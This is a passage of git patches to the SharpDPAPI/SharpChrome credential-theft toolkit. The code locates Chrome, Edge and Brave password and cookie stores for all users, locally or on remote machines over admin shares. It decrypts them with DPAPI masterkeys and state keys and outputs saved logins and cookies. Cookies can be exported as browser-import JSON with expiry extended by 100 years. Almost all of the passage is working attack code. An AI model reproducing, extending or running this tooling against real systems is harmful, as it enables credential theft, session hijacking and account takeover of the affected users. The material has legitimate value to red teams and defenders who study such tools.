TextWriter stdErrWriter = new StringWriter(); + Console.SetOut(stdOutWriter); + Console.SetError(stdErrWriter); + + MainExecute(commandName, parsed.Arguments); + + Console.Out.Flush(); + Console.Error.Flush(); + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + + string output = ""; + output += stdOutWriter.ToString(); + output += stdErrWriter.ToString(); + + return output; + } + + static void Main(string[] args) + { + try + { var parsed = ArgumentParser.Parse(args); if (parsed.ParsedOk == false) - Info.ShowUsage(); - else { - // Try to execute the command using the arguments passed in - - var commandName = args.Length != 0 ? args[0] : ""; + Info.ShowLogo(); + Info.ShowUsage(); + return; + } - var commandFound = new CommandCollection().ExecuteCommand(commandName, parsed.Arguments); + var commandName = args.Length != 0 ? args[0] : ""; - // show the usage if no commands were found for the command name - if (commandFound == false) - Info.ShowUsage(); + if (parsed.Arguments.ContainsKey("/consoleoutfile")) + { + // redirect output to a file specified + FileExecute(commandName, parsed.Arguments); + } + else + { + MainExecute(commandName, parsed.Arguments); } } catch (Exception e) diff --git a/SharpChrome/SharpChrome.csproj b/SharpChrome/SharpChrome.csproj index 608ec9b..fc46a61 100755 --- a/SharpChrome/SharpChrome.csproj +++ b/SharpChrome/SharpChrome.csproj @@ -81,6 +81,7 @@ + diff --git a/SharpChrome/lib/Chrome.cs b/SharpChrome/lib/Chrome.cs index 335894d..27d8b72 100755 --- a/SharpChrome/lib/Chrome.cs +++ b/SharpChrome/lib/Chrome.cs @@ -21,9 +21,15 @@ class Chrome // approach adapted from @djhohnstein's https://github.com/djhohnstein/SharpChrome/ project // but using this CSHARP-SQLITE version https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp - public static void TriageChromeLogins(Dictionary MasterKeys, string computerName = "", string displayFormat = "table", bool showAll = false, bool unprotect = false) + public static void TriageChromeLogins(Dictionary MasterKeys, string computerName = "", string displayFormat = "table", bool showAll = false, bool unprotect = false, string stateKey = "", string browser = "chrome") { - // triage all Chrome 'Login Data' files we can reach + // triage all Edge/Chrome 'Login Data' files we can reach + + byte[] aesStateKey = null; + if (!String.IsNullOrEmpty(stateKey)) + { + aesStateKey = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey); + } if (!String.IsNullOrEmpty(computerName)) { @@ -37,7 +43,7 @@ public static void TriageChromeLogins(Dictionary MasterKeys, str if (SharpDPAPI.Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && SharpDPAPI.Helpers.TestRemote(computerName))) { - Console.WriteLine("[*] Triaging Chrome Logins for ALL users\r\n"); + Console.WriteLine("\r\n[*] Triaging {0} Logins for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser)); string userFolder = ""; if (!String.IsNullOrEmpty(computerName)) @@ -55,46 +61,74 @@ public static void TriageChromeLogins(Dictionary MasterKeys, str { if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) { - string loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", dir); - var aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir); + var loginDataPath = ""; + var aesStateKeyPath = ""; - if (File.Exists(aesStateKeyPath)) + if (browser.ToLower() == "chrome") { - // try to decrypt the new v80+ AES state file key, if it exists - byte[] aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect); - - ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, unprotect, aesStateKey); + loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", dir); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir); + } + else if (browser.ToLower() == "edge") + { + loginDataPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data", dir); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", dir); } - else { - ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, unprotect, null); + else + { + Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers."); + return; + } + + if (File.Exists(aesStateKeyPath) && (aesStateKey == null)) + { + // try to decrypt the new v80+ AES state file key, if it exists + aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect); } + + ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, unprotect, aesStateKey); } } } else { - // otherwise just triage the current user's credential folder - Console.WriteLine("[*] Triaging Chrome Logins for current user\r\n"); - - string loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE")); - var aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + var loginDataPath = ""; + var aesStateKeyPath = ""; - if (File.Exists(aesStateKeyPath)) + if (browser.ToLower() == "chrome") { - // try to decrypt the new v80+ AES state file key, if it exists - byte[] aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); // force /unprotect - ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, true, aesStateKey); + loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE")); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + } + else if (browser.ToLower() == "edge") + { + loginDataPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE")); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); } else { - ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, true, null); + Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers."); + return; + } + + if (File.Exists(aesStateKeyPath) && (aesStateKey == null)) + { + // try to decrypt the new v80+ AES state file key, if it exists + aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); } + + ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, true, aesStateKey); } } - public static void TriageChromeCookies(Dictionary MasterKeys, string computerName = "", string displayFormat = "csv", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false) + public static void TriageChromeCookies(Dictionary MasterKeys, string computerName = "", string displayFormat = "csv", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false, string stateKey = "", string browser = "chrome") { - // triage all Chrome Cookies we can reach + // triage all Edge/Chrome Cookies we can reach + + byte[] aesStateKey = null; + if(!String.IsNullOrEmpty(stateKey)) { + aesStateKey = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey); + } if (!String.IsNullOrEmpty(computerName)) { @@ -108,7 +142,7 @@ public static void TriageChromeCookies(Dictionary MasterKeys, st if (SharpDPAPI.Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && SharpDPAPI.Helpers.TestRemote(computerName))) { - Console.WriteLine("[*] Triaging Chrome Cookies for ALL users\r\n"); + Console.WriteLine("\r\n[*] Triaging {0} Cookies for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser)); string userFolder = ""; if (!String.IsNullOrEmpty(computerName)) @@ -126,40 +160,151 @@ public static void TriageChromeCookies(Dictionary MasterKeys, st { if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) { - string cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", dir); - var aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir); + var cookiePath = ""; + var aesStateKeyPath = ""; - if (File.Exists(aesStateKeyPath)) + if (browser.ToLower() == "chrome") { - // try to decrypt the new v80+ AES state file key, if it exists - byte[] aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect); - - ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, aesStateKey); + cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", dir); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir); + } + else if (browser.ToLower() == "edge") + { + cookiePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies", dir); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", dir); } else { - ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, null); + Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers."); + return; + } + + if (File.Exists(aesStateKeyPath) && (aesStateKey == null)) + { + // try to decrypt the new v80+ AES state file key, if it exists + aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect); } + + ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, aesStateKey); } } } else { // otherwise just triage the current user's credential folder, so use CryptUnprotectData() by default - Console.WriteLine("[*] Triaging Chrome Cookies for current user.\r\n"); - string cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE")); - var aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + var cookiePath = ""; + var aesStateKeyPath = ""; + + if (browser.ToLower() == "chrome") + { + cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE")); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + } + else if (browser.ToLower() == "edge") + { + cookiePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE")); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + } + else + { + Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers."); + return; + } - if (File.Exists(aesStateKeyPath)) + if (File.Exists(aesStateKeyPath) && (aesStateKey == null)) { // try to decrypt the new v80+ AES state file key, if it exists - byte[] aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); // force /unprotect - ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, true, cookieRegex, urlRegex, setneverexpire, aesStateKey); + aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); // force /unprotect + } + + ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, true, cookieRegex, urlRegex, setneverexpire, aesStateKey); + } + } + + public static void TriageStateKeys(Dictionary MasterKeys, string computerName = "", bool unprotect = false, string target = "") + { + // triage all Chromium state keys we can reach + + if (!String.IsNullOrEmpty(computerName)) + { + // if we're triaging a remote computer, check connectivity first + bool canAccess = SharpDPAPI.Helpers.TestRemote(computerName); + if (!canAccess) + { + return; + } + } + + if (!String.IsNullOrEmpty(target)) + { + if (File.Exists(target)) + { + byte[] aesStateKey = GetStateKey(MasterKeys, target, unprotect); + } + else + { + Console.WriteLine("[X] Target '{0}' doesn't exist.", target); + } + } + else + { + if (SharpDPAPI.Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && SharpDPAPI.Helpers.TestRemote(computerName))) + { + Console.WriteLine("[*] Triaging Chromium state keys for ALL users\r\n"); + + string userFolder = ""; + if (!String.IsNullOrEmpty(computerName)) + { + userFolder = String.Format("\\\\{0}\\C$\\Users\\", computerName); + } + else + { + userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); + } + + string[] dirs = Directory.GetDirectories(userFolder); + + foreach (string dir in dirs) + { + if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) + { + var chromeAESStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir); + var edgeAESStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", dir); + + if (File.Exists(chromeAESStateKeyPath)) + { + // try to decrypt the new v80+ AES state file key, if it exists + byte[] aesStateKey = GetStateKey(MasterKeys, chromeAESStateKeyPath, unprotect); + } + + if (File.Exists(edgeAESStateKeyPath)) + { + // try to decrypt the new v80+ AES state file key, if it exists + byte[] aesStateKey = GetStateKey(MasterKeys, edgeAESStateKeyPath, unprotect); + } + } + } } else { - ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, true, cookieRegex, urlRegex, setneverexpire, null); + // otherwise just triage the current user's credential folder, so use CryptUnprotectData() by default + Console.WriteLine("[*] Triaging Chromium state keys for current user.\r\n"); + + var chromeAESStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + var edgeAESStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + + if (File.Exists(chromeAESStateKeyPath)) + { + // try to decrypt the new v80+ AES state file key, if it exists + byte[] aesStateKey = GetStateKey(MasterKeys, chromeAESStateKeyPath, true); // force /unprotect + } + + if (File.Exists(edgeAESStateKeyPath)) + { + // try to decrypt the new v80+ AES state file key, if it exists + byte[] aesStateKey = GetStateKey(MasterKeys, edgeAESStateKeyPath, true); // force /unprotect + } } } } @@ -247,7 +392,7 @@ public static void ParseChromeLogins(Dictionary MasterKeys, stri { if (!someResults) { - Console.WriteLine("\r\n--- Chrome Credential (Path: {0}) ---\r\n", loginDataFilePath); + Console.WriteLine("\r\n--- Credential (Path: {0}) ---\r\n", loginDataFilePath); } someResults = true; Console.WriteLine("URL : {0} ({1})", row.column[0].Value, row.column[1].Value); @@ -261,7 +406,7 @@ public static void ParseChromeLogins(Dictionary MasterKeys, stri { if (!someResults) { - Console.WriteLine("\r\n--- Chrome Credential (Path: {0}) ---\r\n", loginDataFilePath); + Console.WriteLine("\r\n--- Credential (Path: {0}) ---\r\n", loginDataFilePath); Console.WriteLine("file_path,signon_realm,origin_url,date_created,times_used,username,password"); } someResults = true; @@ -375,7 +520,8 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str // check conditions that will determine whether we're displaying this cookie entry bool displayValue = false; - if (showAll) + + if (showAll || (row.column[4].Value.ToString() == "0") || String.IsNullOrEmpty(row.column[4].Value.ToString())) { displayValue = true; } @@ -406,7 +552,7 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str { if (!someResults) { - Console.WriteLine("--- Chrome Cookies (Path: {0}) ---\r\n", cookieFilePath); + Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath); } someResults = true; @@ -419,8 +565,8 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str { if (!someResults) { - Console.WriteLine("--- Chrome Cookies (Path: {0}) ---\r\n", cookieFilePath); - Console.WriteLine("--- Chrome Cookies (Path: {0}) ---\r\n\r\nEditThisCookie import JSON:\r\n\r\n[\r\n{{\r\n", cookieFilePath); + Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath); + Console.WriteLine("--- Cookies (Path: {0}) ---\r\n\r\nEditThisCookie import JSON:\r\n\r\n[\r\n{{\r\n", cookieFilePath); } else { @@ -454,7 +600,7 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str // csv output if (!someResults) { - Console.WriteLine("--- Chrome Cookies (Path: {0}) ---\r\n", cookieFilePath); + Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath); Console.WriteLine("file_path,host,path,name,value,creation_utc,expires_utc,last_access_utc"); } someResults = true; @@ -471,7 +617,7 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str } } } - catch { } + catch {} } if (displayFormat.Equals("json") && someResults) diff --git a/SharpDPAPI/Domain/Info.cs b/SharpDPAPI/Domain/Info.cs index bdefdfd..178fbad 100755 --- a/SharpDPAPI/Domain/Info.cs +++ b/SharpDPAPI/Domain/Info.cs @@ -4,7 +4,7 @@ namespace SharpDPAPI.Domain { public static class Info { - public static void Logo() + public static void ShowLogo() { Console.WriteLine("\r\n __ _ _ _ ___ "); Console.WriteLine(" (_ |_ _. ._ ._ | \\ |_) /\\ |_) | "); diff --git a/SharpDPAPI/Domain/Version.cs b/SharpDPAPI/Domain/Version.cs index 0d7d83f..6f0b6f1 100755 --- a/SharpDPAPI/Domain/Version.cs +++ b/SharpDPAPI/Domain/Version.cs @@ -4,6 +4,6 @@ namespace SharpDPAPI { public static class Version { - public static string version = "1.8.0"; + public static string version = "1.9.0"; } } diff --git a/SharpDPAPI/Program.cs b/SharpDPAPI/Program.cs index 0f81aef..7dd402f 100755 --- a/SharpDPAPI/Program.cs +++ b/SharpDPAPI/Program.cs @@ -1,35 +1,123 @@ using SharpDPAPI.Domain; using System; +using System.Collections.Generic; using System.Diagnostics; +using System.IO; namespace SharpDPAPI { class Program { - public static void Main(string[] args) + private static void FileExecute(string commandName, Dictionary parsedArgs) { + // execute w/ stdout/err redirected to a file + + string file = parsedArgs["/consoleoutfile"]; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + + using (StreamWriter writer = new StreamWriter(file, true)) + { + writer.AutoFlush = true; + Console.SetOut(writer); + Console.SetError(writer); + + MainExecute(commandName, parsedArgs); + + Console.Out.Flush(); + Console.Error.Flush(); + } + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + } + + private static void MainExecute(string commandName, Dictionary parsedArgs) + { + // main execution logic Stopwatch sw = new Stopwatch(); sw.Start(); + Info.ShowLogo(); + try { - Info.Logo(); + var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs); + + // show the usage if no commands were found for the command name + if (commandFound == false) + Info.ShowUsage(); + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled SharpDPAPI exception:\r\n"); + Console.WriteLine(e); + } + + sw.Stop(); + Console.WriteLine("\n\nSharpDPAPI completed in " + sw.Elapsed); + } + + public static string MainString(string command) + { + // helper that executes an input string command and returns results as a string + // useful for PSRemoting execution + + string[] args = command.Split(); - // try to parse the command line arguments, show usage on failure and then bail + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) + { + Info.ShowLogo(); + Info.ShowUsage(); + return "Error parsing arguments: ${command}"; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + TextWriter stdOutWriter = new StringWriter(); + TextWriter stdErrWriter = new StringWriter(); + Console.SetOut(stdOutWriter); + Console.SetError(stdErrWriter); + + MainExecute(commandName, parsed.Arguments); + + Console.Out.Flush(); + Console.Error.Flush(); + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + + string output = ""; + output += stdOutWriter.ToString(); + output += stdErrWriter.ToString(); + + return output; + } + + static void Main(string[] args) + { + try + { var parsed = ArgumentParser.Parse(args); if (parsed.ParsedOk == false) - Info.ShowUsage(); - else { - // Try to execute the command using the arguments passed in - - var commandName = args.Length != 0 ? args[0] : ""; + Info.ShowLogo(); + Info.ShowUsage(); + return; + } - var commandFound = new CommandCollection().ExecuteCommand(commandName, parsed.Arguments); + var commandName = args.Length != 0 ? args[0] : ""; - // show the usage if no commands were found for the command name - if (commandFound == false) - Info.ShowUsage(); + if (parsed.Arguments.ContainsKey("/consoleoutfile")) + { + // redirect output to a file specified + FileExecute(commandName, parsed.Arguments); + } + else + { + MainExecute(commandName, parsed.Arguments); } } catch (Exception e) @@ -37,9 +125,6 @@ public static void Main(string[] args) Console.WriteLine("\r\n[!] Unhandled SharpDPAPI exception:\r\n"); Console.WriteLine(e); } - - sw.Stop(); - Console.WriteLine("\n\nSharpDPAPI completed in " + sw.Elapsed); } } } diff --git a/SharpDPAPI/lib/Helpers.cs b/SharpDPAPI/lib/Helpers.cs index 210c419..db76206 100755 --- a/SharpDPAPI/lib/Helpers.cs +++ b/SharpDPAPI/lib/Helpers.cs @@ -126,6 +126,23 @@ public static byte[] ConvertHexStringToByteArray(string hexString) return HexAsBytes; } + + public static string Capitalize(string s) + { + if(s.Length == 1) + { + return char.ToUpper(s[0]) + ""; + } + else if (s.Length > 1) + { + return char.ToUpper(s[0]) + s.Substring(1); + } + else + { + return ""; + } + } + public static bool TestRemote(string computerName) { try diff --git a/SharpDPAPI/lib/Triage.cs b/SharpDPAPI/lib/Triage.cs index 95ad293..c006fd0 100755 --- a/SharpDPAPI/lib/Triage.cs +++ b/SharpDPAPI/lib/Triage.cs @@ -91,7 +91,6 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy if (!String.IsNullOrEmpty(password)) { plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes); - mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); } else { From ac98a888d0c6427e2a63e4b2c853ce2ee56888ff Mon Sep 17 00:00:00 2001 From: harmj0y Date: Fri, 23 Oct 2020 16:48:15 -0700 Subject: [PATCH 03/60] Cookies fix -Bug fixes for Cookies command -Filtering fixes for Cookies -Support for Brave browser -Added "/quiet" flag --- SharpChrome/Commands/Cookies.cs | 54 +++++++--- SharpChrome/Commands/Logins.cs | 38 +++++-- SharpChrome/Domain/Info.cs | 5 +- SharpChrome/Program.cs | 11 +- SharpChrome/lib/Chrome.cs | 181 ++++++++++++++++++++++---------- 5 files changed, 205 insertions(+), 84 deletions(-) diff --git a/SharpChrome/Commands/Cookies.cs b/SharpChrome/Commands/Cookies.cs index 6864789..b0230ca 100755 --- a/SharpChrome/Commands/Cookies.cs +++ b/SharpChrome/Commands/Cookies.cs @@ -17,17 +17,27 @@ public void Execute(Dictionary arguments) bool showAll = false; // whether to display entries with null passwords bool unprotect = false; // whether to force CryptUnprotectData() bool setneverexpire = false; // set cookie output expiration dates to now + 100 years + bool quiet = false; // don't display headers/logos/etc. (for csv/json output) string cookieRegex = ""; // regex to search for specific cookie names string urlRegex = ""; // regex to search for specific URLs for cookies string stateKey = ""; // decrypted AES statekey to use for cookie decryption string browser = "chrome"; // alternate Chromiun browser to specify, currently only "edge" is supported + + if (arguments.ContainsKey("/quiet")) + { + quiet = true; + } + if (arguments.ContainsKey("/browser")) { browser = arguments["/browser"].ToLower(); } - Console.WriteLine("\r\n[*] Action: {0} Saved Cookies Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser)); + if (!quiet) + { + Console.WriteLine("\r\n[*] Action: {0} Saved Cookies Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser)); + } if (arguments.ContainsKey("/format")) { @@ -62,22 +72,31 @@ public void Execute(Dictionary arguments) if (arguments.ContainsKey("/statekey")) { stateKey = arguments["/statekey"]; - Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey); + if (!quiet) + { + Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey); + } } - if (showAll) - { - Console.WriteLine("[*] Triaging all cookies, including expired ones."); - } - else + if (!quiet) { - Console.WriteLine("[*] Triaging non-expired cookies. Use '/showall' to display ALL cookies."); + if (showAll) + { + Console.WriteLine("[*] Triaging all cookies, including expired ones."); + } + else + { + Console.WriteLine("[*] Triaging non-expired cookies. Use '/showall' to display ALL cookies."); + } } if (arguments.ContainsKey("/server")) { server = arguments["/server"]; - Console.WriteLine("[*] Triaging remote server: {0}\r\n", server); + if (!quiet) + { + Console.WriteLine("[*] Triaging remote server: {0}\r\n", server); + } } // {GUID}:SHA1 keys are the only ones that don't start with / @@ -101,7 +120,10 @@ public void Execute(Dictionary arguments) else if (arguments.ContainsKey("/password")) { string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); + if (!quiet) + { + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); + } if (arguments.ContainsKey("/server")) { masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); @@ -124,8 +146,12 @@ public void Execute(Dictionary arguments) if (File.Exists(target)) { - Console.WriteLine("[*] Target 'Cookies' File: {0}\r\n", target); - Chrome.ParseChromeCookies(masterkeys, target, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKeyBytes); + if (!quiet) + { + Console.WriteLine("[*] Target 'Cookies' File: {0}\r\n", target); + } + + Chrome.ParseChromeCookies(masterkeys, target, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKeyBytes, quiet); } else { @@ -134,14 +160,14 @@ public void Execute(Dictionary arguments) } else { - if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password")) + if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password") && !quiet) { Console.WriteLine("[X] The '/server:X' argument must be used with '/pvk:BASE64...' or '/password:X' !"); } else { // last "true" -> indicates we want to triage Edge - Chrome.TriageChromeCookies(masterkeys, server, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKey, browser); + Chrome.TriageChromeCookies(masterkeys, server, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKey, browser, quiet); } } } diff --git a/SharpChrome/Commands/Logins.cs b/SharpChrome/Commands/Logins.cs index 02bda48..6ec3079 100755 --- a/SharpChrome/Commands/Logins.cs +++ b/SharpChrome/Commands/Logins.cs @@ -16,15 +16,25 @@ public void Execute(Dictionary arguments) string server = ""; // used for remote server specification bool showAll = false; // whether to display entries with null passwords bool unprotect = false; // whether to force CryptUnprotectData() + bool quiet = false; // don't display headers/logos/etc. (for csv/json output) string stateKey = ""; // decrypted AES statekey to use for cookie decryption - string browser = "chrome"; // alternate Chromiun browser to specify, currently only "edge" is supported + string browser = "chrome"; // alternate Chromiun browser to specify, currently supported: "chrome", "edge", "brave" + + + if (arguments.ContainsKey("/quiet")) + { + quiet = true; + } if (arguments.ContainsKey("/browser")) { browser = arguments["/browser"].ToLower(); } - Console.WriteLine("\r\n[*] Action: {0} Saved Logins Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser)); + if (!quiet) + { + Console.WriteLine("\r\n[*] Action: {0} Saved Logins Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser)); + } if (arguments.ContainsKey("/format")) { @@ -44,13 +54,19 @@ public void Execute(Dictionary arguments) if (arguments.ContainsKey("/statekey")) { stateKey = arguments["/statekey"]; - Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey); + if (!quiet) + { + Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey); + } } if (arguments.ContainsKey("/server")) { server = arguments["/server"]; - Console.WriteLine("[*] Triaging remote server: {0}\r\n", server); + if (!quiet) + { + Console.WriteLine("[*] Triaging remote server: {0}\r\n", server); + } } // {GUID}:SHA1 keys are the only ones that don't start with / @@ -74,7 +90,10 @@ public void Execute(Dictionary arguments) else if (arguments.ContainsKey("/password")) { string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); + if (!quiet) + { + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); + } if (arguments.ContainsKey("/server")) { masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); @@ -97,8 +116,11 @@ public void Execute(Dictionary arguments) if (File.Exists(target)) { - Console.WriteLine("[*] Target 'Login Data' File: {0}\r\n", target); - Chrome.ParseChromeLogins(masterkeys, target, displayFormat, showAll, unprotect, stateKeyBytes); + if (!quiet) + { + Console.WriteLine("[*] Target 'Login Data' File: {0}\r\n", target); + } + Chrome.ParseChromeLogins(masterkeys, target, displayFormat, showAll, unprotect, stateKeyBytes, quiet); } else { @@ -113,7 +135,7 @@ public void Execute(Dictionary arguments) } else { - Chrome.TriageChromeLogins(masterkeys, server, displayFormat, showAll, unprotect, stateKey, browser); + Chrome.TriageChromeLogins(masterkeys, server, displayFormat, showAll, unprotect, stateKey, browser, quiet); } } } diff --git a/SharpChrome/Domain/Info.cs b/SharpChrome/Domain/Info.cs index a2b59b8..3890a93 100755 --- a/SharpChrome/Domain/Info.cs +++ b/SharpChrome/Domain/Info.cs @@ -35,19 +35,20 @@ public static void ShowUsage() Targeting: /target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location /server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY) - /browser:X - triage 'chrome' (the default) or (chromium-based) 'edge' + /browser:X - triage 'chrome' (the default) or (chromium-based) 'edge'/'brave' Output: /format:X - either 'csv' (default) or 'table' display /showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default) /consoleoutfile:X - output all console output to a file on disk + /quiet - don't output headers/etc. (for .csv/.json file output) 'cookies' command specific arguments: /cookie:""REGEX"" - only return cookies where the cookie name matches the supplied regex /url:""REGEX"" - only return cookies where the cookie URL matches the supplied regex - /format:json - output cookie values in an EditThisCookie JSON import format. Best when used with a regex! + /format:json - output cookie values in an Cookie-Editor JSON import format. Best when used with a regex! /setneverexpire - set expirations for cookies output to now + 100 years (for json output) "; diff --git a/SharpChrome/Program.cs b/SharpChrome/Program.cs index 4ae5474..86712d7 100755 --- 